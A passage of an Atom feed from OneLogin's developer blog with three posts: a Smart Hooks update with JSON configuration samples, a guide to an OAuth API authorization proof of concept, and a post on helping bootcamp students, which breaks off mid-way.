        
    </entry>
    <entry xml:lang="en">
        <title>Final Update Ahead of the Smart Hooks GA Release</title>
        <published>2021-03-15T00:00:00+00:00</published>
        <updated>2021-03-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/smart-hooks-early-preview-update/"/>
        <id>https://developers.onelogin.com/blog/smart-hooks-early-preview-update/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/smart-hooks-early-preview-update/">&lt;p&gt;Just in case you’re part of our Smart Hooks Early Preview but not following along in the Early Preview Slack group here is the scope on updates released today.&lt;&#x2F;p&gt;
&lt;p&gt;We have new docs pages to explain the differences between &lt;a href=&quot;&#x2F;api-docs&#x2F;2&#x2F;smart-hooks&#x2F;types&#x2F;pre-authentication&quot;&gt;pre-authentication&lt;&#x2F;a&gt; and &lt;a href=&quot;&#x2F;api-docs&#x2F;2&#x2F;smart-hooks&#x2F;types&#x2F;user-migration&quot;&gt;user-migration&lt;&#x2F;a&gt; hooks, bug fixes, a breaking change and some great new features.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;user-migration-tada&quot;&gt;User Migration 🎉&lt;&#x2F;h2&gt;
&lt;p&gt;Yes you read that right, we have a new type of Smart Hook! We’re excited to release the &lt;a href=&quot;&#x2F;api-docs&#x2F;2&#x2F;smart-hooks&#x2F;types&#x2F;user-migration&quot;&gt;User-Migration Hook&lt;&#x2F;a&gt; which is targeted at our CIAM customers and incredibly useful for progressively migrating large groups of users from legacy databases into OneLogin without asking them to change password.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin-screenshots.s3.amazonaws.com&#x2F;dev_site&#x2F;postman&#x2F;v2&#x2F;Smart-Hooks-OneLogin-API.json.postman_collection&quot;&gt;Check out the Postman collection for updated samples&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conditions&quot;&gt;Conditions&lt;&#x2F;h2&gt;
&lt;p&gt;We’ve also introduced a new feature called Conditions. Conditions are specific to the pre-authentication hook and let you target groups of users by role. This is super useful when you want to test your hook on a subset of users before rolling it out to your entire user population.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;pre-authentication&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;conditions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;source&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;roles&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;operator&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;~&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;123456&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;breaking-change&quot;&gt;Breaking Change&lt;&#x2F;h2&gt;
&lt;p&gt;The breaking change is that we have moved some attributes from the base of the hook config payload into an options  object. The options are detailed in the docs and can change for different types of hooks so it made sense to make this change now ahead of our GA.&lt;&#x2F;p&gt;
&lt;p&gt;i.e. these attributes have moved&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;    .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;risk_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;location_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;mfa_device_info_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;into the options object&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;	&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;pre-authentication&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;	&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;{{base64Function}}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;	&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;disabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;runtime&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;nodejs18.x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;	&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;retries&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;	&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;options&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;	    &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;risk_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    	&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;location_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;mfa_device_info_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;	&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;env_vars&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;	&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;packages&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This change really only impacts the Postman collections and API contract when creating or updating hooks. We have migrated all existing hooks that are currently in production to utilize this new format.&lt;&#x2F;p&gt;
&lt;p&gt;There are still some minor changes and bug fixes to be released but this is our last major release ahead of the GA launch later this month.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How to setup an API Authorization PoC</title>
        <published>2021-03-11T00:00:00+00:00</published>
        <updated>2021-03-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/api-authorization-made-easy/"/>
        <id>https://developers.onelogin.com/blog/api-authorization-made-easy/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/api-authorization-made-easy/">&lt;p&gt;Okay, so you are building or already have built some APIs that you need to protect. A key question to ask is how you will protect those APIs so that only legitimate traffic is accepted and processed. Perhaps you’ll deploy an API Gateway or perhaps you’ll embed the required security checking within the API itself.&lt;&#x2F;p&gt;
&lt;p&gt;Whichever architecture you choose, you will undoubtedly consider the benefits of utilising OAuth and its access tokens. Why wouldn’t you want to use short-lived access tokens as a means of gaining authorized access to your APIs? No need to worry about vulnerable long-lived keys which can be stolen and maliciously used over long periods. No need to worry about managing passwords and all the attendant concerns relating to compromise, never mind that they are so frequently forgotten and need to be reset. Better to let a 3rd party specialist you can trust handle those issues, allowing you to focus on what matters most to your customers - the rich functionality you can expose to them via your APIs.&lt;&#x2F;p&gt;
&lt;p&gt;Cool, decision made. You will leverage a standards-based OAuth Authorization Server (OAS) - in many cases implemented as part of an OIDC Provider (OP).&lt;&#x2F;p&gt;
&lt;p&gt;So next up, which Provider to use? Much as I think the only real choice is OneLogin, there are other providers out there so maybe it’s time to consider a PoC to give you that confidence that the product really does match up to all the Sales-speak.&lt;&#x2F;p&gt;
&lt;p&gt;You’ll want to test things such as:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The various grant types under consideration&lt;&#x2F;li&gt;
&lt;li&gt;Validating tokens&lt;&#x2F;li&gt;
&lt;li&gt;Revoking tokens&lt;&#x2F;li&gt;
&lt;li&gt;Token timeouts&lt;&#x2F;li&gt;
&lt;li&gt;Refresh token behaviour&lt;&#x2F;li&gt;
&lt;li&gt;Identity token behaviour&lt;&#x2F;li&gt;
&lt;li&gt;Defining custom audience values&lt;&#x2F;li&gt;
&lt;li&gt;Defining required custom scopes to support coarse-grained authorization to your API&lt;&#x2F;li&gt;
&lt;li&gt;Defining custom claims to be added to the access token to support fine-grained authorization within your APIs e.g. role, group membership etc.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Some customers will have suitable test harnesses available containing clients and target APIs as necessary and so just need the knowledge to configure the OAS&#x2F;OP, whereas others would also benefit from a suitable test client and target API. Whatever the specific need, time and resources to get to grips with the multiple vendor solutions are always the enemy - the video referenced in this blog is a step by step guide to achieving a successful OneLogin PoC with the minimum of fuss.&lt;&#x2F;p&gt;
&lt;style&gt;
    #bcove-video {
        width: 800px;
        height: 450px;
    }
&lt;&#x2F;style&gt;
&lt;iframe id=&quot;bcove-video&quot; src=&#x27;&#x2F;&#x2F;players.brightcove.net&#x2F;5857818218001&#x2F;8BefjftTA_default&#x2F;index.html?videoId=6296687826001&#x27; allowfullscreen frameborder=0&gt;&lt;&#x2F;iframe&gt;
&lt;p&gt;The video is organised into the following sections:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;An introduction explaining the PoC environment&lt;&#x2F;li&gt;
&lt;li&gt;Step One - Configure the Client Application
&lt;ul&gt;
&lt;li&gt;The video shows how to use OneLogin’s web administration utility to define the sample client application. OneLogin’s online Inspector tool will be used to act as the test client&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Step Two  - Configure the API Definition
&lt;ul&gt;
&lt;li&gt;Following OneLogin’s API-first approach, the video shows how OneLogin’s administrative APIs are used to define the sample API (the “To Do List” service).&lt;&#x2F;li&gt;
&lt;li&gt;A pre-configured Postman collection (with environment variables) is linked below and can be downloaded to allow the configuration to be defined in moments.&lt;&#x2F;li&gt;
&lt;li&gt;The sample API will be emulated once again using OneLogin’s online Inspector tool.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Step Three - End to End Test
&lt;ul&gt;
&lt;li&gt;The video shows how to perform a series of tests to prove the OneLogin authorization capabilities including behaviour of custom scopes and claims.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;And that’s it - simple! Use the time saved in performing the PoC to take a well-earned coffee break!&lt;&#x2F;p&gt;
&lt;p&gt;And don’t forget &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin-screenshots.s3.amazonaws.com&#x2F;dev_site&#x2F;postman&#x2F;v2&#x2F;API-Authorization-Lab.json.postman_collection&quot;&gt;the Postman Collection&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin-screenshots.s3.amazonaws.com&#x2F;dev_site&#x2F;postman&#x2F;v2&#x2F;API-Authorization-Lab-Environment.json.postman_environment&quot;&gt;Postman Environment&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Of course, you may want to use your own clients&#x2F;APIs - in which case you should find it a trivial task to modify the postman collection to your needs. Time saved, is time well spent!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Hackathons, Bootcamps &amp; Giving Back to the Community</title>
        <published>2021-03-11T00:00:00+00:00</published>
        <updated>2021-03-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/hackathons-bootcamps-giving-back/"/>
        <id>https://developers.onelogin.com/blog/hackathons-bootcamps-giving-back/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/hackathons-bootcamps-giving-back/">&lt;p&gt;When looking to give back to the community, sometimes you need to think about which option is the best one for you. Sometimes life just brings you an opportunity that resonates with your personal experience and knowledge.
During my developer bootcamp a few months ago, I openly shared with my teammates that I have been working as the recruiter for OneLogin Engineering and Product teams. It’s more than obvious that people attending these bootcamps seek engineering roles, and I can now see— 3 months later — it’s not an easy process. It’s typically a second 3–6 months long journey to fulfill the dream of working as software engineers within solid companies.
Since indicating I was a recruiter, bootcamp students would reach out to me with questions about resume writing, sprucing up their LinkedIn profiles, getting through the first step of the recruiting process and negotiating offers. Often, bootcamp students tend to be overwhelmed with the onslaught of technical challenges, grappling with complex topics, and the ever-present “imposter syndrome.”
But let’s move back to the merit of this blog, how to give back to the community?
At OneLogin, we have a plethora of diverse backgrounds and experiences to draw on, and not just within our engineering team. You will find people who come from prestigious universities working harmoniously with bootcamp graduates and self-taught programmers. Diversity of thought and experience is a core pillar of innovation and delivering a terrific product. Our backgrounds are as diverse as the customers and developers we serve making securing apps and data easier every day.
As someone who’s been on an engineering recruiting team, a bootcamp student, and now an engineer, I found myself in a unique position to leverage my background to build and give back to the community of next-generation developers.
We are closely working with three bootcamps, helping students to land their dream jobs by sharing with them our honest experience about hiring, about the industry, and also about how to promote themselves to be “recognizable” on the job market for recruiters as well as for hiring-managers.
The virtual sessions have been so far quite successful. We’ve had the opportunity to speak with over 300 students so far and the feedback was amazing. Based on the overwhelming positive feedback we received, we’re considering the next step and I want to hear from you—Bootcamp Students, Self-Taught Programmers, or anyone interested in building secure applications.
We’re considering a OneLogin &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;blog&#x2F;rookie-engineer-hackathon-team&quot;&gt;hackathon,&lt;&#x2F;a&gt; open to the world, to promote and learn from you what you want to get out of authentication tools. If you’d be interested in a little learning, hacking, and networking, let us know, share your thoughts with us, connect with us on &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;company&#x2F;onelogin&#x2F;mycompany&#x2F;&quot;&gt;LinkedIn &lt;&#x2F;a&gt;and let’s make this idea work. We will be happy to have your feedback until the end of March 2021.
The overall success of this program is about the right mix of the people who are presenting and ready to answer students’ questions. I feel this is the great place where thanks to all supporters from OneLogin: &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;courtney-harrison-62a8ba&#x2F;&quot;&gt;Courtney Harrison&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;bobdickinson&#x2F;&quot;&gt;Bob Dickinson&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;blakeramsdell&#x2F;&quot;&gt;Blake Ramsdell&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;mattbarrio&#x2F;&quot;&gt;Matt Barrio&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;dominickcaponi&#x2F;&quot;&gt;Dominick Caponi&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; 